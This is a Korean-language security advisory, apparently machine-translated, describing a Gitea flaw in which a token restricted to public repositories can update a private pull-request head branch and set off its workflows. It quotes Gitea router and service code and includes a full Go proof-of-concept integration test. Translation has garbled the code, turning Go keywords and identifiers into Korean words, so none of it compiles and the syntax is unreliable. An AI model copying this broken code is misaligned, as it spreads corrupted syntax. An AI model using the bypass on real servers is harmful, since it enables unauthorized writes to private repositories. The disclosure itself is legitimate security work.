Gitea: 공개 전용 저장소 토큰은 비공개 PR 헤드 지점을 업데이트할 수 있습니다.
Gitea는 public-only,write:repository 토큰을 사용하여 공개 기반 저장소 경로를 통해 개인 풀 요청 헤드 브랜치를 업데이트할 수 있습니다.
취약한 끝점은 다음과 같습니다.
``텍스트 POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update
Gitea는 공개 기반 저장소인 경로 저장소에 대해 토큰의 공개 전용 제한 사항을 확인합니다. 그런 다음 'UpdatePullRequest()'는 일반 사용자 RBAC를 사용하여 풀 요청 헤드 저장소를 승인하고 풀 업데이트 서비스를 호출합니다. 헤드 저장소가 비공개인 경우 Gitea가 변경 사항을 비공개 저장소에 푸시하기 전에 활성 토큰의 공개 전용 제한이 해당 비공개 저장소에 다시 적용되지 않습니다.
결과적으로 개인 저장소에 직접 쓸 수 없는 동일한 토큰으로 인해 Gitea가 공용 기본 커밋을 개인 헤드 브랜치로 푸시할 수 있습니다.
### 세부정보
풀 요청 API 경로는 저장소 경로 그룹 아래에 연결됩니다. 공개 전용 검사는 경로/기본 저장소인 `ctx.Repo.Repository`에 적용됩니다.
``가다
// 라우터/api/v1/api.go:1358-1394
m.Group("/pulls", func() {
m.Combo("").Get(repo.ListPullRequests).
게시(reqToken(), mustNotBeArchived, 바인딩(api.CreatePullRequestOption{}), repo.CreatePullRequest)
m.Get("/pinned", repo.ListPinnedPullRequests)
m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
m.Group("/{index}", func() {
m.Combo("").Get(repo.GetPullRequest).
패치(reqToken(), 바인딩(api.EditPullRequestOption{}), repo.EditPullRequest)
m.Get(".{diffType:diff|패치}", repo.DownloadPullDiffOrPatch)
m.Post("/update", reqToken(), repo.UpdatePullRequest)
m.Get("/commits", repo.GetPullRequestCommits)
m.Get("/files", repo.GetPullRequestFiles)
m.Combo("/merge").Get(repo.IsPullRequestMerged).
게시(reqToken(), mustNotBeArchived, 바인딩(forms.MergePullRequestForm{}), repo.MergePullRequest).
삭제(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
m.Group("/reviews", func() {
m.콤보("").
Get(repo.ListPullReviews).
게시(reqToken(), 바인딩(api.CreatePullReviewOptions{}), repo.CreatePullReview)
m.Group("/{id}", func() {
m.콤보("").
가져오기(repo.GetPullReview).
삭제(reqToken(), repo.DeletePullReview).
게시(reqToken(), 바인딩(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
m.Combo("/설명").
가져오기(repo.GetPullReviewComments)
m.Post("/dismissals", reqToken(), 바인딩(api.DismissPullReviewOptions{}), repo.DismissPullReview)
m.Post("/undmissals", repo.UnDismissPullReview)
})
})
m.Combo("/requested_reviewers", reqToken()).
삭제(bind(api.PullReviewRequestOptions{})), repo.DeleteReviewRequests).
포스트(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
})
m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
``가다 // 라우터/api/v1/api.go:1465-1466 }, repoAssignment(), checkTokenPublicOnly()) }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))
`POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`의 경우 경로 저장소는 공개될 수 있으므로 `public-only,write:repository` 토큰은 경로 수준 공개 전용 검사를 통과합니다.
그런 다음 업데이트 핸들러는 호출자가 PR 헤드 분기를 업데이트할 수 있는지 확인합니다.
``가다
// 라우터/api/v1/repo/pull.go:1220-1270
pr, err := Issue_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
오류가 있는 경우 != nil {
만약 issue_model.IsErrPullRequestNotExist(err) {
ctx.APIErrorNotFound()
} 그렇지 않으면 {
ctx.APIError내부(err)
}
반환
}
pr.HasMerged인 경우 {
ctx.APIError(http.StatusUnprocessableEntity, 오류)
반환
}
if err = pr.LoadIssue(ctx); 오류 != 없음 {
ctx.APIError내부(err)
반환
}
pr.Issue.IsClosed인 경우 {
ctx.APIError(http.StatusUnprocessableEntity, 오류)
반환
}
if err = pr.LoadBaseRepo(ctx); 오류 != 없음 {
ctx.APIError내부(err)
반환
}
if err = pr.LoadHeadRepo(ctx); 오류 != 없음 {
ctx.APIError내부(err)
반환
}
rebase := ctx.FormString("스타일") == "리베이스"
allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
오류가 있는 경우 != nil {
ctx.APIError내부(err)
반환
}
if (!allowedUpdateByMerge && !rebase) || (리베이스 && !allowedUpdateByRebase) {
ctx.Status(http.StatusForbidden)
반환
}
// 기본 병합 커밋 메시지
message := fmt.Sprintf("'%s' 분기를 %s에 병합", pr.BaseBranch, pr.HeadBranch)
서비스는 사용자의 일반 저장소 권한을 사용하여 헤드 저장소를 확인합니다.
``가다 // services/pull/update.go:136-164 // IsUserAllowedToUpdate 사용자가 주어진 권한 및 분기 보호로 PR을 업데이트할 수 있는지 확인합니다. // PR 업데이트는 기본 브랜치에서 PR 헤드 브랜치로 새 커밋을 보내는 것을 의미합니다. func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) { 사용자 == nil인 경우 { false, false, nil을 반환합니다. } if err := pull.LoadBaseRepo(ctx); 오류 != 없음 { false, false, 오류를 반환합니다. } if err := pull.LoadHeadRepo(ctx); 오류 != 없음 { false, false, 오류를 반환합니다. }
// 1. 풀 요청이 활성화되었는지 확인합니다.
prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
repo_model.IsErrUnitTypeNotExist(err) {
return false, false, nil // 기본 저장소에서 PR 단위가 비활성화되어 업데이트가 허용되지 않음을 의미합니다.
} 그렇지 않은 경우 오류가 발생하면 != nil {
return false, false, fmt.Errorf("기본 저장소 단위 가져오기: %v", err)
}
// 2. Github 스타일 풀 요청만 지원합니다.
pull.Flow == issue_model.PullRequestFlowAGit인 경우 {
false, false, nil을 반환합니다.
}
// 3. 헤드 저장소에서 사용자 푸시 권한을 확인합니다.
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch) 오류가 있는 경우 != nil { false, false, 오류를 반환합니다. }
이는 일반적인 계정 RBAC 결정입니다. 활성 API 토큰이 'pull.HeadRepo'에 액세스하거나 이를 변경할 수 있는지 여부는 묻지 않습니다.
허용되는 경우 업데이트 서비스는 병합/리베이스 업데이트를 수행하고 헤드 저장소에 푸시합니다.
``가다
// services/pull/update.go:89-100
reversePR := &issues_model.PullRequest{
BaseRepoID: pr.HeadRepoID,
BaseRepo: pr.HeadRepo,
BaseBranch: pr.HeadBranch,
HeadRepoID: pr.BaseRepoID,
HeadRepo: pr.BaseRepo,
HeadBranch: pr.BaseBranch,
}
_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", 메시지, 저장소.PushTriggerPRUpdateWithBase)
반품 오류
결과는 공용 경로를 통해 수행되는 서버 측 개인 저장소 쓰기입니다.
``가다 수입 ( "인코딩/base64" "fmt" "넷/http" "넷/URL" "테스트" "시간"
actions_model "code.gitea.io/gitea/models/actions"
auth_model "code.gitea.io/gitea/models/auth"
repo_model "code.gitea.io/gitea/models/repo"
unit_model "code.gitea.io/gitea/models/unit"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/modules/gitrepo"
API "code.gitea.io/gitea/modules/structs"
webhook_module "code.gitea.io/gitea/modules/webhook"
repo_service "code.gitea.io/gitea/services/repository"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) { onGiteaRun(t, func(t *testing.T, _ *url.URL) { doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{이름: "user1"})
baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
이름: "public-pr-update-base",
설명: "공개 전용 PR 업데이트 PoC를 위한 공개 기본 저장소",
자동 초기화: 참,
읽어보기: "기본값",
DefaultBranch: "메인",
IsPrivate: 거짓,
})
require.NoError(t, err)
headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
BaseRepo: 베이스레포,
이름: "private-pr-update-head",
설명: "공개 전용 PR 업데이트 PoC를 위한 개인 헤드 저장소",
단일 지점: baseRepo.DefaultBranch,
})
require.NoError(t, err)
require.NotNil(t, headRepo)
require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
RepoID: headRepo.ID,
유형: unit_model.TypeActions,
}}, 없음))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
headBranch := "개인 헤드 업데이트"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: baseRepo.DefaultBranch,
NewBranch: 헤드브랜치,
}, 지도[문자열]문자열{
"private-head-marker.txt": "개인 헤드 지점 마커",
})
const WorkflowID = "private-push.yml"
const WorkflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: 헤드브랜치,
NewBranch: 헤드브랜치,
}, 지도[문자열]문자열{
".gitea/workflows/" + WorkflowID: fmt.Sprintf(이름: private-push 에: 푸시: 가지: - %s 직업: 개인 머리 직업: 실행: 우분투 최신 단계: - 실행: 에코 %s , headBranch, WorkflowSentinel),
})
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
ID: headRepo.ID,
IsPrivate: 사실,
}, "is_private"))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
require.True(t, headRepo.IsPrivate)
기준선PrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
세션 := loginUser(t, doer.Name)
publicOnlyToken := getTokenForLoggedInUser(t, 세션,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteRepository,
)
publicPath := "public-base-injected-into-private.txt"
publicMarker := "FAULT-GITEA-062 공개 기반 콘텐츠가 개인 헤드에 도달했습니다."
createPublicBaseFile := api.CreateFileOptions{
파일옵션: api.FileOptions{
지점 이름: baseRepo.DefaultBranch,
메시지: "개인 헤드 업데이트를 위한 공개 마커 생성",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
}
req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusCreated)
privatePath := "direct-private-write-should-fail.txt"
directPrivateWrite := api.CreateFileOptions{
파일옵션: api.FileOptions{
지점 이름: headBranch,
메시지: "직접 개인 쓰기 시도",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusNotFound)
prPayload := 지도[문자열]문자열{
"title": "faultline 공개 전용 개인 헤드 업데이트",
"기본": baseRepo.DefaultBranch,
"head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
AddTokenAuth(publicOnlyToken)
resp := MakeRequest(t, req, http.StatusCreated)
var pr api.PullRequest
DecodeJSON(t, resp, &pr)
require.Equal(t, prPayload["title"], pr.Title)
gitRepo, 오류 := gitrepo.OpenRepository(t.Context(), headRepo)
require.NoError(t, err)
gitRepo.Close() 연기
커밋, 오류 := gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
_, 오류 = commit.GetBlobByPath(publicPath)
require.Error(t, err)
req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusOK)
주장.결국(t, func() bool {
return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > 기준선PrivateHeadRuns
}, 5*시간.초, 50*시간.밀리초)
actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
RepoID: headRepo.ID,
워크플로ID: 워크플로ID,
},unittest.OrderBy("id DESC"))
주장.Equal(t, webhook_module.HookEventPush, actionRun.Event)
주장.Equal(t, "push", actionRun.TriggerEvent)
주장.Equal(t, doer.ID, actionRun.TriggerUserID)
주장.NotEmpty(t, actionRun.CommitSHA)
job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
Assert.Contains(t, string(job.WorkflowPayload), WorkflowSentinel)
커밋, 오류 = gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
얼룩, 오류 := commit.GetBlobByPath(publicPath)
require.NoError(t, err)
콘텐츠, 오류 := blob.GetBlobContent(1024)
require.NoError(t, err)
주장.Equal(t, publicMarker, 콘텐츠)
})
}
### 영향
공격자는 개인 PR 헤드 지점에 대한 일반적인 쓰기 권한이 있는 사용자에 대해 유효한 `public-only,write:repository` 토큰이 필요합니다. 공격자는 또한 공개 기반 저장소와 공개 기반을 개인 헤드에 병합하거나 리베이스할 수 있는 풀 요청 관계가 필요합니다.
성공적인 악용은 공개 저장소로 명시적으로 제한된 토큰을 통해 개인 저장소 쓰기 기본 요소를 제공합니다. 직접적인 영향은 무결성입니다. 동일한 토큰에 대해 직접 개인 저장소 쓰기가 거부되더라도 공용 기반 커밋은 개인 브랜치로 푸시됩니다.
개인 헤드 저장소에서 작업이 활성화되면 동일한 서버 측 푸시가 개인 저장소의 일치하는 '푸시' 워크플로도 대기열에 추가합니다. PoC는 공격으로 인해 발생한 푸시 이벤트를 통해 프라이빗 헤드 저장소에 대해 'ActionRun' 및 'ActionRunJob'이 생성되었음을 확인합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 96.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 96.00 |
VPI 공식 vpi-v1 기준